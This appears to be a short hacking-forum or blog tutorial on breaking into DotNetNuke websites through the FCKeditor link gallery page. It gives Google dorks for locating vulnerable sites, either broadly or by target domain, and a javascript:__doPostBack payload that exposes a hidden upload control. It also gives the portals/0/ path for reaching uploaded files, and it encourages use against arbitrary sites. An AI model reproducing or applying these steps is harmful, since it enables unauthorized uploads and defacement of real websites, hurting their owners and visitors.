Hacking a website using DNN

This is a really effective way of hacking a website. This way is very common and according to some research 10% of sites are vulnerable to this.





So to start first thing that we need is vulnerable site which can be found from the following dork :

inurl:"Fck/fcklinkgallery.aspx" (for all the sites)
inurl:"Fck/fcklinkgallery.aspx" site:{domain of site} (for specified attack)

NOW Select the third option and type following into the address bar:

javascript:__doPostBack(‘ctlURL$cmdUpload’,”)

Now if you are lucky and site is vulnerable a upload Bar will appear from which you can upload .txt .html or pictures from your computer in to the site.

HOW TO FIND YOUR UPLOADED FILE.


To Get to the file that you have uploaded just goto the domain of the website and put this in the end "portals/0/[Your files name]" e.g " www.blahblah.com/portals/0/a.txt"

I hope you people like it!!!!

Note: Use Google Chrome for this Attack it is DEADLY EFFECTIVE!!!!

Thanks For Making This Possible! Kindly Bookmark and Share it.